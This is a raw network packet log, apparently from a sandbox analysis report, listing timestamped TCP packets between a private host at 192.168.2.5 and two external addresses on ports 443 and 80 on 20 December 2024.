Dec 20, 2024 02:11:19.804054976 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:19.804188013 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.805114985 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.805124998 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:19.997399092 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997411013 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997546911 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:19.997550964 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997562885 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997574091 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997602940 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:19.997634888 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:19.997776985 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997788906 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997798920 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997808933 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997819901 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:19.997864008 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:19.997899055 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.117125988 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.117234945 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.117305994 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.117821932 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.121301889 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.121351957 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.189831018 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.189887047 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.190059900 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.190108061 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.194070101 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.194122076 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.194217920 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.194262981 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.202497005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.202567101 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.202589989 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.202631950 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.210813046 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.210863113 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.211294889 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.211365938 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.219192028 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.219239950 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.219273090 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.219322920 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.227557898 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.227607012 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.227701902 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.227747917 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.235909939 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.235958099 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.236015081 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.236061096 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.244257927 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.244313002 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.244363070 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.244407892 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.252676964 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.252747059 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.252820969 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.252863884 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.261049032 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.261100054 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.261153936 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.261194944 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.268935919 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.269004107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.269064903 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.269124985 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.309452057 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.309501886 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.309571028 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.381977081 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.382121086 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.382179976 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.384335041 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.384409904 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.384426117 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.384478092 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.387999058 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.388108015 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.388169050 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.393214941 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.393381119 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.393445969 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.397504091 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.397568941 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.397607088 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.397646904 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.402255058 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.402302980 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.402374983 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.402417898 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.406939030 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.407064915 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.407125950 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.411699057 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.411744118 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.411777973 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.411842108 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.416882992 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.416954041 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.417045116 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.417083979 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.421643972 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.421694994 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.421840906 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.421895981 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.425755978 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.425833941 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.425867081 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.425909042 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.430430889 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.430497885 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.430526972 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.430567980 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.435161114 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.435209990 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.435244083 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.435283899 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.439848900 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.439934969 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.439959049 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.440006018 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.443458080 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.443530083 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.443593979 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.443635941 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.447166920 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.447216034 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.447269917 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.447318077 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.450783014 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.450834990 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.450886011 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.450931072 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.454397917 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.454483986 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.454513073 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.454556942 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.458059072 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.458108902 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.458201885 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.458241940 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.461662054 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.461725950 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.574100018 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.574193001 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.574198961 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.574295044 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.575525999 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.575577974 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.575629950 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.575700998 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.578340054 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.578392029 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.578392029 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.578437090 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.581252098 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.581306934 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.581445932 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.581501007 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.584007025 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.584074020 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.584117889 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.584167957 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.586776972 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.586855888 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.586863041 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.586910009 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.589483023 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.589531898 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.589576006 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.589627028 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.592236996 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.592303991 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.592314005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.592365026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.594933033 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.595016003 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.595031977 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.595079899 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.597662926 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.597737074 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.597781897 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.597831964 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.600408077 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.600471973 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.600509882 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.600558996 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.603125095 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.603184938 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.603224993 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.603274107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.605860949 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.605921030 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.605962992 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.606020927 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.608588934 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.608656883 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.608702898 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.608743906 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.611347914 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.611392021 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.611438990 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.611479998 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.614063025 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.614108086 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.614135981 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.614175081 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.616769075 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.616836071 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.616864920 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.616909027 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.619523048 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.619596958 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.619649887 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.619697094 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.622226000 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.622270107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.622334957 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.622374058 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.625006914 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.625050068 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.625080109 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.625119925 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.627707005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.627753019 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.627805948 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.627846956 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.630420923 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.630481005 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.630522966 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.630564928 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.633155107 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.633198977 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.633225918 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.633266926 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.635931015 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.635976076 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.636006117 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.636040926 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.638653994 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.638716936 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.638745070 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.638783932 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.641376019 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.641437054 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.641467094 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.641506910 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.644103050 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.644146919 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.644270897 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.644310951 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.646846056 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.646888018 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.646917105 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.646956921 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.649576902 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.649638891 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.649686098 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.649727106 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.652299881 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.652358055 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.652384996 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.652426004 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.655025959 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.655067921 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.655136108 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.655175924 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.657789946 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.657831907 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.657856941 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.657901049 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.660504103 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.660563946 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.660592079 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.660631895 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.663216114 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.663271904 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.663331032 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.663372040 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.665923119 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.665978909 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.766195059 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.766310930 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.766313076 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.766355991 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.767332077 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.767374039 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.767386913 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.767422915 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.769161940 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.769205093 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.769265890 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.769304037 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.771572113 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.771622896 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.771692991 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.771732092 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.773972034 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.774024963 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.774080038 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.774118900 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.776241064 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.776340008 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.776395082 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.776395082 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.778492928 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.778537989 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.778556108 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.778573990 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.780693054 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.780747890 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.780785084 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.780827999 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.782875061 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.782934904 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.782974005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.783019066 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.785022974 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.785080910 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.785108089 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.785145998 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.787172079 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.787257910 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.789227962 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.789349079 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.791338921 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.791416883 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.793365955 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.793487072 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.795445919 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.795598984 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.797524929 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.797596931 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.798604012 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.798793077 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.799603939 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.799659014 CET	49855	80	192.168.2.5	31.41.244.11
